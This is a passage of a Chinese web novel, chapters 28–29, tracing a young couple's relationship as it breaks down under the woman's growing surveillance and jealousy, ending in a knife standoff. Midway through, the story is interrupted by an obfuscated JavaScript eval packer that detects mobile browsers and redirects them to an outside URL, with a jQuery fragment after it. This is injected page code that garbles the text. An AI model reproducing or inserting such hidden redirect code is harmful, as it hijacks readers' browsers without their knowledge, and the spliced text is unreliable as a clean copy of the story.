他连二十都没满,只是像往常一样下班回个家,怎么转眼之间一个婴儿就躺在他床上了?未来几年的、甚至更久的生活图景,怎么也被几句话就勾勒得清清楚楚了? 他对自己的人生,好像连插一句话的余地都没有了。 即便他过去也未曾有过多么具体或宏大的规划,但此刻这种被人牵着鼻子走、一步接一步的感觉,还是让他本能地感到抗拒和不安。 窗外,夜色已经完全笼罩下来。 楚怀平站在昏暗拥挤的小屋里,看着床上那个无声无息的小小生命,又看向邹婷那双在昏暗中亮得惊人的眼睛。 那里面,有他熟悉的依赖和执着,也有陌生的、令他隐隐心悸的决绝。 沉默在狭小的空间里弥漫,带着婴儿微弱的呼吸声,和窗外遥远的、模糊的吆喝声。 他终于低哑地开了口,带着妥协的意味:“以后......无论如何,咱们都不能告诉她真相。” 邹婷答应的很快,也很坚决:“一定。” 他看着邹婷良久,喉结来回滚动,却不知还能说些什么。所有翻腾的思绪、未出口的辩驳、对未知的惶恐,最终都化作一声深长的叹息,消散在昏暗的房间里。 楚怀平没有点头,也没再摇头。他只是沉默着,任由邹婷握着他的手,越来越紧,越来越紧。 而这沉默,在邹婷看来,已是应允。 28. 贰拾捌 孩子来了之后,日子被切割成以三小时为单位的碎片。喂奶、换尿布、拍嗝、哄睡......循环往复。女儿很安静,不像别的婴儿那样爱哭闹,只是睁着一双乌溜溜的眼睛,静静地看着这个对她而言全然陌生的世界。 邹婷像一台突然上满了发条的机器,彻底投入了“母亲”这个角色。天不亮就起身,在煤炉上熬煮稀薄的米汤,用汤匙一点点喂进女儿嫩红的小嘴......她几乎没有一刻停歇,小屋里的一切都被她擦拭得锃亮,旧床单洗得发白,散发着阳光和廉价肥皂混合的气味。 带着“初为人母”的感受,她对楚怀平的“在意”,也逐渐发酵出新的质地。 ——“怀哥,今天几点能回?” ——“和谁一起吃饭?王师傅还是李师傅?” ——“加班到这么晚?活儿很多吗?” ——“路过哪里了?晚上住哪个招待所?安不安全?” 问题细碎而频繁,渗透进日常的每一个缝隙,但起初,楚怀平是受用的。 推开家门,有温暖的灯光,有热乎的饭菜,有一个小小软软的女儿,还有一个时时刻刻记挂着他行踪的女人。这种被需要、被等待的感觉,像冬日里一口温酒,熨帖着他自幼漂泊无依的心。 工友们偶尔打趣,他也只是嘿嘿一笑,心里甚至泛起一丝隐秘的、属于“有家男人”的得意。 楚怀平考下了驾照,开始跟老师傅跑短途,后来是长途。离家时间从几小时拉长到一两天,路上信号时断时续,回复消息不及时,有时深夜抵达倒头就睡,电话也接不到。 他不知道的是,在他无法及时回复的那些时刻,家里的邹婷正经历着什么。 她会抱着女儿坐在渐渐冷掉的饭菜前,眼睛盯着那扇门,捕捉着院前的脚步。十分钟,二十分钟,一个小时......时间像钝刀子,一点点切割着她本就稀薄的安全感。 她会不由自主地开始想象:路上出了事故?车坏了?还是......遇见了什么人?那些在卫生所里听来的、关于长途司机在外的风流韵事,开始不受控制地钻进她的脑子。越想,心就越往下沉,抱着孩子的手臂也收得越紧,直到女儿不舒服地哼唧起来,她才恍然惊觉。 邹婷的“问”,渐渐开始变了味道。不再是“饭在锅里热着”的关切,而是带着焦灼的盘查:“不是说昨晚就能到?在哪耽搁了?”“跟你出车的是陈师傅?他是不是爱乱搞?你别跟他学。”“跑这趟能多挣多少?钱呢?” 楚怀平没有明确意识到这种变化。他只是觉得,每次跑长途出发前,邹婷的叮嘱似乎越来越多,眼神里的不舍也越来越重,重得让他胸口发闷。而归家时,她虽然笑容依旧,迎接依旧,可那双眼却似乎能够洞悉一切、但又始终蒙着一层不安的阴翳。 他尚未意识到,平静水面之下,邹婷心中那份因幼年被弃而深植的不安全感,正与初为人母的患得患失疯狂交织、生长。她对这好不容易构筑起来的“家”的守护欲,如同悄然上涨的潮水,已经开始漫过理智的堤岸,无声地浸润着每一寸空间,缠绕上他的脚踝。 ———————————— 老江家的旧院子买下来了。虽然欠了不少债,但空间宽敞了许多,女儿也有了一间小屋。楚怀平还在院子外面种了棵梧桐,准备等那树长大了给女儿搭个秋千。炊烟升起时,他觉得日子好像真的在往好的方向奔。 但这安稳之下,裂痕正在滋生。最初的表象,是车厂频繁响起的电话铃。 邹婷的“关心”,开始越界。起初只是往修理厂传达室打打电话,问问“怀平在吗”。后来电话的频率越来越高,内容也越来越具体——她要确认楚怀平的外勤状态,要求接线的人帮忙找当班的领导,甚至委婉地打听排班表和出勤记录。 主任姓于,起初相当配合,很体谅年轻夫妻初为父母的手忙脚乱,更体谅一个女人独自带孩子的焦虑。 可当这电话变成每周的例行“问候”,甚至在他开会、忙得焦头烂额时执着地响起,那份体谅便逐渐被烦躁取代。厂里毕竟不是机关单位,没那么多闲人专门接家属电话。 楚怀平跑完一趟三天的短途运输回来,有些灰头土脸,但因拿了不少补贴而心情不错。刚把车停稳,就被于主任叫进了办公室。 主任没直接提电话的事,只是递了根烟,自己先点上,烟雾后的面容有些模糊。“小楚啊,”他斟酌着开口,“最近家里......都还好吧?” 楚怀平不明所以:“有劳领导关心,都挺好的。” “哦,那就好。”于主任弹了弹烟灰,语气听起来随意,眼神却带着意味深长的提点,“咱们男人在外头跑,有时候是身不由己。但家里头毕竟有老婆孩子,该顾还得顾,外头那些花里胡哨的,少沾。刚添了孩子,是容易......咳,容易憔悴点,但那是给你生儿育女的功臣,可不能嫌。我跟你讲,作风问题,可是大忌啊。” 楚怀平脑子里“嗡”的一声,脸瞬间涨红,又变得苍白。他听懂了那弦外之音——原来邹婷的电话,已经打到让领导怀疑他在外头“不干净”的地步。 羞愤像一团火,从心底猛地燃起来,烧得他指尖发麻。他想辩解,想说明,最后却只能笨拙地、反复地保证:“主任,绝对没有的事!她就是......就是心思细,孩子又小,一个人带有点不安。我回去一定跟她好好说道!给您添麻烦了,抱歉,抱歉......” 楚怀平没辙,只能把所有责任都揽到自己身上,用“女人家不懂事”、“刚当妈敏感”来搪塞。走出办公室时,后背的衣裳已经被汗浸湿了一片,黏腻地贴在皮肤上。 他憋着一肚子火和委屈回到家,却迎面撞上了女儿的笑脸,见他回来,咿咿呀呀地张开小手扑过来。楚怀平收拾好表情弯腰抱她,那一腔无处发泄的怒火,一下就被这小小的身子化了大半,只剩下沉甸甸的疲惫和无奈。 晚饭时他火气已经过了,只是简单提了提:“今天于主任找我了。以后......单位电话别打那么勤了,更别直接找领导。领导很忙,这样影响不好。” 邹婷正在盛汤的手顿了一下。她放下勺子,眼神闪烁了一下,声音低了下去:“哦......我也是担心你嘛。跑长途那么累,信号又不好,我联系不上你,心里就慌......女儿还这么小......”她说着,伸手把坐在旁边小椅子上的女儿搂进怀里,像抱着一面柔软的盾牌。 这次争执没有升级成争吵,像一阵带着湿气的闷风,吹过也就算了。楚怀平看着她和女儿偎依的样子,心里那点剩余的郁气也散了,甚至生出些许愧疚——或许,真的是自己不够体谅她独自在家时的惶惑。 风暴似乎过去了,水面恢复了暂时的平静。 但楚怀平很快发现,有些事情变了味。邹婷是不再频繁往厂里打电话,可她开始留意他换下的衣服口袋,翻看里面有没有陌生的票据或纸条。她偶尔会“顺路”去厂院附近,“碰巧”遇到他的工友,便笑着闲聊几句,问问“怀平最近和谁搭档多”、“长途往哪跑”。 她甚至还找过排班的老师傅,语气恳切:“师傅,我们家女儿还小,离不开人,怀平老跑长途,我一个人实在顾不过来......能不能,少给他排长途的班?近点的活儿就行......” 这些细碎的动作像藤蔓的触须,悄无声息地逐渐蔓延。楚怀平起初并未察觉,直到他感到工友们看他的眼神有些闪烁,聚餐时喊他的次数少了,聊天时也带着一种刻意的、不触及私生活的客气。那个曾经拍着他肩膀说“知根知底多好”的孙师傅,有一次酒后拍了拍他,眼神多了些复杂:“怀平啊,家里头......也得有个分寸。男人在外,脸面还是要紧的。” 楚怀平追问之下,才拼凑出零碎的真相。那些“偶遇”,那些“关心”,早已在工友间传开,没了羡慕,反而成了茶余饭后带着同情或讥诮的谈资——“怀平家里那位,盯得真够紧。”“可不,生怕男人跑咯。”“爷们儿活成这样,也挺憋屈。” 一股冰冷的、混合着耻辱和愤怒的情绪,攥紧了楚怀平的心脏。他一直以来默默承受的,来自领导的暗示、同事的疏远,此刻都有了清晰的源头。他以为的“被在乎”,在别人眼里却已经成了笑话,成了他“不像个男人”的证明。 所有的压力、委屈、难堪,都在那个傍晚轰然爆发。 争吵像猝不及防的冰雹,砸在刚刚有点模样的家里。楚怀平的声音因激动而发抖,他质问邹婷为什么要在背后做那些小动作,为什么不能给他一点基本的信任和空间:“你到底想干什么?!领导怎么看我?同事怎么看我?现在我排班都受影响!邹婷,你是不是非要让我在厂里混不下去才满意?!” 邹婷先是惊愕,随即泪水涟涟:“我还不是为了这个家!我一个人带孩子,守着这个院子,我容易吗?你跑出去几天不见人影,电话都打不通,我怕你出事,怕你不要我们......你现在是嫌我烦了?我就知道......我就知道......我告诉你,这个家是我的一切,我不能失去!” 她的声音尖锐起来,指责着他的不体谅,将所有的控制行为都包装成爱的牺牲和家庭的捍卫。 楚怀平看着她泪流满面的脸,听着那些他无法完全反驳的、源于真实恐惧的控诉,激烈的言辞突然卡在了喉咙里。一种深深的无力感和寒冷,取代了愤怒,缓缓漫上心头。 在一片狼藉的寂静中,一个清晰的、令人心悸的认知,同时击中了二人——他们对彼此的期待,对“家”的理解,对爱和安全的需求,不知从何时起,好像已经不在同一条路上了。 他渴望的是信任和并肩,是向外拓展时有一个安稳的归处;而她执着的是紧握与确认,是将所有不确定紧紧锁在可控的范围内,以此对抗内心深处的被弃恐惧。 这认知比任何争吵都更让人无奈。它意味着,他们之间的问题或许不是谁对谁错,而是根植于生命经验深处的、两条注定越走越远的轨迹。 楚怀平忽然觉得疲惫。他曾经想用尽全力去守护的“妹妹”,他以为可以携手共建温暖港湾的伴侣,此刻却仿佛站在湍急河流的对岸与他隔水相望,彼此嘶喊,可谁也听不清对方真正在说什么。 第一次真正意义上的战争,没有胜者。只有一片需要很久才能清理干净的狼藉,和两颗同样滴血的心。 ———————————— 时间像河滩上的水,看似平缓,底下却冲刷着旧日的沙砾,不知何时,便会将深埋的东西翻卷上来。 楚怀平快二十二了。几年的长途跑下来,脸上多了些风霜的痕迹,肩膀也更宽厚了些,皮肤黝黑,骨架舒展,沉默时眉宇间开始有了一抹挥之不去的沉郁。 一次跑完长途回来,卡车在镇外坑洼的乡道上慢慢颠簸。他远远看见一辆白色的小轿车歪在路边,引擎盖掀着,一个穿着米色外套的女人正焦急地围着车打转。 楚怀平减缓车速,靠边停下,拎着随车的工具箱走了过去——这是跑车人的习惯,荒郊野岭的,能搭把手就搭把手。 “需要帮忙吗?”他问。 女人闻声回头。四目相对的瞬间,两人都愣住了。 是周欣。她看起来比几年前成熟了些,衣着简单得体,眉眼间那份温软还在,却多了几分干练。 她显然也认出了楚怀平,脸上闪过一丝猝不及防的尴尬,随即扯出一个礼貌的笑:“是......怀平啊。没什么大事,可能是发动机有点小毛病,已经打电话叫人了。” 她的客气里带着明显的疏离和推拒。楚怀平听得明白,但不可能真把她一个女人丢在这前不着村后不着店的地方。 “我看看,不碍事。”他有些局促,便不再多话,径直上前蹲下身检查起来。是火花塞的问题,小毛病,但没工具她自己肯定搞不定。楚怀平动作麻利地换好,又检查了其他部件。 周欣站在一旁,没再阻止,只是静静看着。整个过程中只有工具碰撞的轻微声响,和乡野间偶尔掠过的风声。 “好了。”他直起身,用工具箱里的破布擦了擦手。 “谢谢。”周欣的声音很轻。她拉开车门,顿了一下,随后从包里拿出几张钞票,“耽误你时间了,这个......” 楚怀平连忙摆手,像被烫到一样:“不用不用,顺手的事。” 周欣的手停在半空,看了看他坚持的神色,慢慢收了回去。她坐进驾驶室,摇下车窗,犹豫了一下,终于还是轻声开口,带着一丝不易察觉的斟酌:“你现在......过得还好吗?” 她似乎隐约听到过一些关于他的,不太平的风声。 楚怀平动作顿了顿,随即抬起头,扯出一个惯常的、略显憨厚的笑容:“挺好的。你呢?” “我也挺好的。”周欣笑了笑,没再多说,“今天谢谢你了。” “不客气的。” 卡车重新发动,驶离那辆白色轿车。后视镜里,周欣的身影越来越小,最终消失在尘土之中。 回到家时,已过了午时。邹婷今天轮休,正抱着已经会满地跑的女儿在玩,女儿看见他,张开小手扑过来,咿咿呀呀地叫着“爸爸”,邹婷脸上也带着笑意,走过来想接他手里的包。 然而,她的笑容在看到楚怀平衣领和袖口处那些新鲜的、与往日不同的油渍时,瞬间凝固了。 “你......”她眉头蹙起,仔细打量着他衣领和袖口那些新鲜的、深色的污渍,“你不是说今天交完车就放半天假吗?怎么又弄这么脏?干什么去了?” 楚怀平心里“咯噔”一下。他下意识避开了周欣那段,脱口道:“哦,交完车碰上孙师傅那边有个急活,车底下有点麻烦,我帮着搭了把手。” “孙师傅?”邹婷的眉毛挑了起来,带了点笑:“那个天天喊着想要青梅竹马的师傅?” “嗯,是。”楚怀平看她神色缓了下来,心下也松了些许,转身往水龙头走去,“我先洗洗,饿死了。” 邹婷没再追问,只是抱着女儿站在他身后,目光在他背影上停留了许久。 吃了饭,楚怀平倒头就睡。他睡得很沉,没察觉到邹婷轻轻起身,安顿好女儿,然后悄无声息地出了门。 他是被一种极不舒服的感觉惊醒的。仿佛被什么冰冷的东西盯着,后颈的汗毛都竖了起来。 楚怀平猛地惊醒。 房间里光线昏暗,一个人影就坐在床边的椅子上,一动不动,黑沉沉的眼睛正盯着他。那眼神中没了白日里的温存,只剩一片冰冷的、审视的幽深,看得楚怀平心里发毛,睡意瞬间全无。 “怎么了?”他坐起身,声音有些干涩,想找杯水。 邹婷没回答,只是幽幽地叹了口气,像是自言自语,又像在说给他听:“天又快凉了,那件粉色毛衣......到现在也没穿上呢。” 又来了。楚怀平心头涌起一阵熟悉的烦躁和无力。 他语气不耐:“陈芝麻烂谷子的事,提它干嘛。” 黑暗里,邹婷似乎笑了一下,那笑声很轻,却让人头皮发麻。 随后她的声音陡然拔高,尖锐起来:“陈芝麻烂谷子?楚怀平,你当我傻?孙师傅今天根本没排班!你搭的哪门子手?你以为我不知道你今天见了谁?!” 楚怀平脑子里“嗡”的一声。她知道了?怎么知道的? “你......又去厂里了?”他声音发紧。 “我不去,怎么知道你又骗我!”邹婷站起来,胸膛起伏,眼泪涌了上来,混杂着愤怒和巨大的委屈,“是不是周欣?楚怀平你行啊,为了见她一面,谎话张口就来!你心里是不是一直没放下过她?是不是觉得当初选我选错了?那件毛衣,当年根本就是给她买的吧?现在是又想凑上去了?!” “你胡说八道什么!”楚怀平皱眉,“就是碰巧路过,看见有车坏了帮个忙!跟放不放下有什么关系?我跟她能有什么?!” “碰巧?哪这么多碰巧!”邹婷根本听不进去,声音因为激动而颤抖,几乎破音:“你就是还惦记着她!觉得她比我温柔,比我懂事,比我会体谅你,是吧?!所以才一直拖着不肯跟我领证!什么年龄没到,都是借口!你就是不想跟我结婚!不想把这个家坐实了!” “你别无理取闹!”楚怀平也火了,“结婚结婚!整天就是结婚!我们现在这样跟结婚有什么两样?!非要那一张纸吗?!” “不一样!就是不一样!有了那张纸,你才跑不掉!”邹婷嘶喊着,开始有些口不择言,“你看你现在这样子,是不是连女儿也不想要了?!就因为小遇她不是——” “邹婷!” 楚怀平猛地打断她,脸色骤然变得苍白严肃。他唰地起身,盯着邹婷,一字一句,声音低哑却带着不容置疑的严厉:“我告诉你,有些话这辈子都不能出口!尤其是在孩子面前!你骂我可以,但嘴上给我留个把门的!” 这句话像一盆冰水,兜头浇在邹婷燃烧的怒火上。她猛地打了个寒颤,清醒过来,意识到自己差点触碰了那个两人共同的禁区。 汹涌的怒气褪去,只剩下冰冷的恐慌和更深的无助。她腿一软,跌坐回椅子上,捂着脸低声啜泣起来:“我不是......我不是那个意思......怀哥,我就是太怕了,我怕你离开我们,我怕这个家散了......我错了,我不会再乱说了,我保证......” 那哭声压抑而破碎,在昏暗的房间里显得格外凄凉。 楚怀平杵在原地,看着她颤抖的肩膀,听着她语无伦次的哭诉,满腔的怒火像被戳破的气球,噗地一声泄了,只剩下无尽的疲惫和冰凉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352910|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释显得苍白,安慰无从下手。那道横亘在彼此之间的裂缝,在这一刻,仿佛被无声地撕扯得更宽、更深。 关于结婚的争执,在这次冲突后,谁也没再主动提起。它像一块烧红的烙铁,被暂时丢进了冷水里,嗤嗤作响地冒着白烟,无人再敢轻易触碰。 平静重新降临这个小院,却是一种绷紧的、脆弱的安宁。 可裂痕已然绽开,只是被日常的尘埃和生活惯性勉强遮盖着。他们依旧生活在同一个屋檐下,照顾着同一个女儿,却仿佛行走在两条逐渐偏离的平行线上,能看见彼此,却再也感受不到最初的温度与交汇。 ———————————— 那场关于周欣的深夜争吵后,家里陷入了一种黏稠的寂静。两人照常生活,楚怀平出车、回家,邹婷上班、带娃,但对话少得可怜,空气里总悬浮着未散的硝烟和小心翼翼的试探。 楚怀平觉得累,一种从骨头缝里渗出来的疲惫。 变故发生在一个寻常的傍晚。楚怀平拎着布包,照例去镇上的“万家乐”超市买菜——卫生所下班晚,因此家里的采买大多落在他肩上。 他提着篮子,熟练地拣选着土豆、青菜,脑子里盘算着今晚做什么能让孩子多吃两口。走到收银台排队时,他下意识地对那个圆脸收银员点头微笑——这是他的习惯,算是底层劳动者之间的一点无声体谅。 然而,笑容在嘴角还没来得及展开,就先僵住了。 收银台后的,是一张他熟悉到骨子里的脸。 邹婷穿着超市统一的红色马甲,头发一丝不苟地束在脑后,露出光洁的额头,正熟练地扫描着商品条形码,表情平静,甚至带着点职业性的专注,仿佛一直就在这里工作。 楚怀平的大脑一片空白,直到后面的人不耐烦地催促,才如梦初醒地回过神,慌忙把篮子里的东西倒上台子。扫码、装袋、付款,整个过程他都愣愣的。 他拎着袋子,没像往常一样直接离开,而是走到超市入口的角落,点燃一支烟,盯着收银台的方向。等到那一拨客人散去,他才掐灭烟,大步走了回去。 “你怎么在这儿?”他压低了声音,但语气里的惊愕和愤怒掩饰不住,“卫生所的工作呢?” 邹婷抬起头,脸上没有丝毫意外,反而有种近乎天真的坦然:“我申请调到这儿来上班了。”她说着开始整理零钱,语气平常得像在讨论天气,“卫生所那边晚班多,你又老这个点来买菜。另外,我看你每次都对那个收银员笑,心里不舒服。现在我在这儿,你就不用对别人笑了,多好。” 楚怀平张了张嘴,像是被什么东西扼住了喉咙。他看着她平静的侧脸,听着那套完全自洽的逻辑,第一次如此清晰地感受到一种超脱了愤怒和无奈的、更深层次的恐惧——一种对于眼前人思维方式彻底偏离常轨的骇然。 他强迫自己冷静,声音发紧:“你......超市一呆就是大半天,吃饭都没个准点!家里怎么做饭?孩子啥时候吃?生活节奏全乱套了!” 邹婷终于停下手里动作,合上柜台,转过头直视着他。她的眼睛很大,黑白分明,此刻却映着超市冰冷的白光,里面有种让楚怀平毛骨悚然的执拗。 “你不是......挺喜欢对收银员笑吗?”她轻声反问,嘴角甚至微微弯了一下,“现在我就在这儿,你怎么不对我笑,反而要吼我?” 楚怀平张了张嘴,却发现任何语言在这样坚不可摧又荒诞无比的逻辑面前,都苍白无力。他意识到,眼前这个与他共同生活了数年的女人,她的思维方式、她的情感逻辑,已经滑向了一个他无法理解、也无法抵达的轨道。 他什么也没再说,拎起地上的购物袋,转身大步离开。背影仓皇,近乎逃离。 那天晚上,楚怀平没有回家吃饭。镇子西头荒废的河滩边有个用塑料布和铁架子搭起来的露天烧烤摊,烟雾缭绕,人声嘈杂,是镇上失意男人们聚集吐苦水的地方。 他找了个最角落的桌子坐下,点了一堆烤串,然后开始一瓶接一瓶地灌最便宜的白酒。劣质酒精烧灼着食道,却浇不灭心头那把冰凉又滚烫的火。他脑子里反复盘旋着超市里那一幕——邹婷那张平静又偏执的脸,和她那句轻飘飘的质问。 “只是对收银员笑一下......”他对着空酒瓶喃喃自语,声音沙哑,“怎么会......变成这样?” 是什么时候开始的?从留下小遇那一刻?从她第一次往厂里打电话?还是更早......从福利院天井边,那个带着决绝的吻? 楚怀平试图回忆这些年生活的轨迹,却发现它们早已偏离了最初模糊憧憬的方向,驶入了一片浓雾弥漫、暗礁丛生的陌生海域。他拼尽全力划桨,可那曾经的锚点却开始拽着这艘船失控地下沉。 他吐了。 吐得昏天黑地,把胃里那点可怜的晚饭和酒精混合的酸腐物全倒了出来。吐完后,他抹了把嘴,眼眶通红,又拿起酒瓶。 生活像个巨大的、失控的齿轮,他原本只是上面一颗循规蹈矩的齿牙,现在却被莫名其妙掰离了轨道,卡在不上不下的位置,磨得血肉模糊,却不知道该怎么回去,或者该不该回去。 就在他醉眼朦胧,对着空酒瓶发呆时,旁边空着的塑料凳被人拉开了,一个身影坐了下来。 楚怀平迟钝地抬起头,花了点时间才聚焦视线。 逆着烧烤摊昏黄摇晃的灯泡光晕,他看到了周欣。 她穿着家常的毛衣和长裤,像是饭后散步路过这里。她看着桌上狼藉的空瓶和楚怀平狼狈的样子,眉头微微蹙起,但很快又舒展开,只是轻轻叹了口气:“少喝点吧。” 楚怀平愣愣地看着她,酒精让他的反应慢了半拍。他扯了扯嘴角,想挤出一个能够表达“我很好”的笑容,却只发出了一声类似呜咽的、自嘲的苦笑。 酒精模糊了视线,也松动了心防。压抑了太久的话,开始混着酒气往外冒。 ——“我好像......不太认识她了。” ——“我知道......她小时候苦,没安全感......我懂,我真的懂,我怎么会不懂......” ——“可我没......我真没做对不起她的事......但为什么......好像总是我的错?” ——“我不知道......是我不对,还是她错了......还是这日子,从根上就错了......” 他越说越混乱,越说越无力,话语颠三倒四,充满困惑和痛苦。 周欣始终沉默着,烧烤摊的喧嚣仿佛被隔在了一层透明的罩子外面。 酒劲越来越汹涌,视线开始模糊重叠。在意识彻底沉入黑暗之前,楚怀平趴在油腻的桌面上,嘴唇翕动,用几乎只有自己才能听到的气音,叹息着道出了那个深藏心底的,无法出口的症结: “真不该......捡那个孩子......造孽啊......” 声音很轻,几乎淹没在周围的嘈杂里。 但周欣听见了。 她整个人猛地一震,倏地转过头,难以置信地看着趴在桌上、已然不省人事的楚怀平。那双总是平静温和的眼睛里,瞬间掀起了惊涛骇浪——震惊,恍然,紧接着是深深的、怜惜的了然。 ——他一点没变,还是什么都往自己身上扛。 周欣轻轻叹息,随后起身走到烧烤摊老板那里,低声说了几句,指了指楚怀平的方向,又拿出一点钱放在桌上。她没留下名字,只是请老板帮忙打电话通知他家里人来接。 半个多小时后,邹婷匆匆赶来,脸色紧绷,眼底是压抑不住的焦躁和怒火。她一边费力地搀扶起他,一边状似随意地向老板打听:“老板,他一个人来的?喝了多少?有没有......跟什么人一起?” 老板忙着烤串,头也不抬:“一个人来的,喝得可猛。后来有个女同志过来劝了两句,坐了一会儿。人挺好心的,帮着结了部分账,还让我打电话叫你。” “女同志?”邹婷的声音陡然尖锐起来,“长什么样?多大年纪?结什么账?” 老板被她的语气弄得有些不耐烦:“这哪记得清?天黑,忙!好像......浅色衣服,挺斯文的吧。哎呀,你快把人弄回去吧,吐了一地我还得收拾!” 浅色衣服。挺斯文。邹婷的心直直地坠了下去,沉进一片冰窖。 她咬着牙,用尽全身力气架起沉重的楚怀平,一步步挪出喧嚣的烧烤摊。夜风很凉,吹在她因为愤怒和恐惧而滚烫的脸上。她看着男人醉后毫无知觉的侧脸,心里那根名为猜忌的刺,又往深处狠狠扎进几分,与旧日的伤痕死死纠缠在一起,酝酿着更深、更痛的风暴。 河滩上的残灯明灭,映照着这对相互拖曳、却已几乎离心离德的男女,目送着二人慢慢消失在浓得化不开的夜色之中。 29.贰拾玖 宿醉像一把钝刀在颅内反复切割。楚怀平还没完全睁开眼,就感觉床边有人。 邹婷坐在床沿,身上穿着那件很少穿出去的、浅粉色的连衣裙,头发仔细地梳过,脸上甚至化了淡妆。她看着他醒来,眼睛弯起,露出一个异常明媚的笑容,声音轻柔得不像话:“醒啦?头疼吗?我给你煮了醒酒汤。” 楚怀平混沌的大脑艰难地运转着,这过于刻意的温柔让他脊背发凉。他没吭声,挣扎着坐起来,接过碗,机械地灌下去。 “怀哥,”邹婷等他喝完,双手轻轻搭上他的胳膊,语气带着一种甜腻的憧憬,“今天天气真好。我们......去把证领了吧?” 楚怀平端着空碗的手顿住了。他缓缓抬起头,看着邹婷那张精心修饰过、却掩不住眼底紧张和偏执的脸。 宿醉的头痛和昨夜残存的绝望感,连同这句话一起,像点燃了炸药的引线。 他放下碗重新躺回去,翻了个身,把被子拉过头顶,声音闷闷地传出来:“我不去。” 空气凝固了几秒。 “怀哥,别闹了。”邹婷的声音依旧维持着轻柔,带着点哄劝的意味,但仔细听,却有一丝不易察觉的紧绷,“咱们都在一起这么久了,小遇也大了,而且之前不是说好的吗?走吧,我衣服都换好了。” “我不,我不去。”楚怀平头也不抬:“我现在没心情想这个。” “没心情?那什么时候有心情?”邹婷的音调微微拔高,笑容还在努力维持,却已颇为勉强,终于还是忍不住补了一句:“又跟别的女人买醉的时候吗?” 果然,昨夜烧烤摊老板那里,她又去“查证”了。 那股熟悉的、令人窒息的无力感再次袭来。他甚至连愤怒的力气都没有了,只是深深地看了邹婷一眼,眼神里充满了无奈与悲哀。 “你不想跟我结婚,”邹婷看着他沉默抗拒的样子,脸上的笑容终于寸寸碎裂,声音变得尖利,“就想留着自由身,好随时跑出去?跟个不知道哪来的‘斯文’女人吃吃喝喝?还是又想去帮哪个‘抛锚’的女司机修车?!” 字字句句,都戳在昨晚的旧痕和新刺上。楚怀平闭上眼,重重地叹了口气,像耗尽了最后一丝气力,拉过被子蒙住了头。他不想吵,不想解释,甚至连呼吸都觉得累。 房间里只剩下邹婷的喘息声,和隐约从隔壁传来的、女儿被争吵惊醒的哭声。邹婷站在原地,胸口剧烈起伏,精心打扮的模样此刻却显得无比滑稽、凄凉。她瞪着床上那一团无声的隆起,最终,还是女儿的哭声占了上风。她狠狠地跺了跺脚,转身冲去隔壁哄孩子。 这场“领证”的闹剧,最后无疾而终。 几天后,跑完一趟短途回来的楚怀平,没有像往常一样往家的方向拐。方向盘在他手里打了个转,径直开回了修理厂。他走进那间已经蒙尘、属于他的简陋小宿舍,反手锁上了门。 狭小的空间里只剩了一张铁架床,一个破衣柜,空气里到处弥漫着灰尘的味道。这里确实什么都没有——没有无休止的盘问,没有令人窒息的控制,没有那双时刻审视着他、充满不信任的眼睛。 楚怀平倒在硬邦邦的床板上,听着窗外隐约的车鸣,竟然感到了一丝久违的、属于个人的宁静。 邹婷知道他的排班,发现他当晚没回家后电话直接打到了宿舍,带着哭腔哀求:“怀哥,你回来吧......我知道错了,我不该乱猜......女儿想你了......” “女儿”两个字穿透了他的防御。他不能让小遇一个人面对逐渐失控的邹婷。 他在床上僵了很久,最终还是拖着沉重的脚步回了家。门内的邹婷脸上泪痕未干,眼底却有着一丝得逞般的、冰冷的微光。 从此,他们之间陷入了一个可悲的死循环。 任何一点风吹草动——一个迟归的夜晚,一个礼貌性的微笑,一次与女同事必要的交谈,甚至只是他沉默时略显疲惫的侧脸——都可能成为新一轮风暴的引信。邹婷的“雷达”变得异常敏感,总能捕捉到、或臆想出“蛛丝马迹”。随后就是质问,哭闹,查证,威胁,流程熟悉得令人麻木。然后,被逼到极限的楚怀平便会再次逃回那个冰冷的宿舍,寻求片刻喘息。 而每一次,邹婷都会追来。先是哭求,诉说她的艰辛,诉说她的恐惧和爱。如果这不管用,“女儿”就成了她手中最后的、也最有效的筹码。 这个循环像一台出了故障的机器,咔哒咔哒地重复磨损着彼此的齿轮,让楚怀平觉得快被碾碎了。 在又一次激烈的争吵后,他看着哭得撕心裂肺的邹婷和吓坏了的孩子,一个念头冒了出来,带着一丝奢望:“要不......这段时间,我先带小遇去厂里住几天?你冷静冷静,孩子也......” 话音未落,邹婷就像被踩了尾巴的猫一样猛地跳了起来。她脸上的血色瞬间褪尽,眼睛瞪得极大,里面翻涌着一种近乎癫狂的惊恐和愤怒。 “你想带她走?!楚怀平!你想干什么?!带着女儿走,好让所有人都觉得是我的错,是我逼走了你们,是我不正常?!你休想!” 她一边嘶吼,一边猛地转身冲向厨房。楚怀平还没反应过来,就看见她又冲了出来,手里赫然握着一把明晃晃的菜刀! 她并没有真的冲过来挥砍,只是站在那里,胸口剧烈起伏,握着刀柄的手指因用力而泛白。那眼神混乱,充满了毫无理性的疯狂和深入骨髓的恐惧,死死盯着楚怀平,像是透过他,在盯着某个企图夺走一切的幻影。 时间仿佛凝固了。 楚怀平浑身的血液都凉了。他不是怕那把刀,而是怕邹婷眼中那种完全失控的、非理性的光芒。 他终于无比清晰地认识到,眼前这个女人,他曾经想要守护一生的“妹妹”和伴侣,已经被内心深处的执念与恐惧彻底吞噬。她守护这个“家”的方式,开始带上了毁灭性的危险,不仅是对他,甚至可能波及到无辜的女儿。 他站在原地,一动不敢动,连呼吸都放轻了,生怕任何一点刺激都会导致不可挽回的后果。 不知过了多久,邹婷眼中的疯狂开始渐渐褪去,取而代之的是一片空洞的茫然。她似乎才意识到自己手里拿着的是什么,手一松,“当啷”一声,刀掉在了地上。 她瘫坐下去,抱住头,发出压抑的、动物般的呜咽。 楚怀平默默地走过去,捡起刀,放回厨房。整个过程,他的手都在微微颤抖。回到客厅,他看着蜷缩在地上的邹婷,又看了看被吓呆、扁着嘴要哭不敢哭的女儿,心中最后一点试图改变现状的火苗,也彻底熄灭了。 从此,他再也不敢提起“接走女儿”。 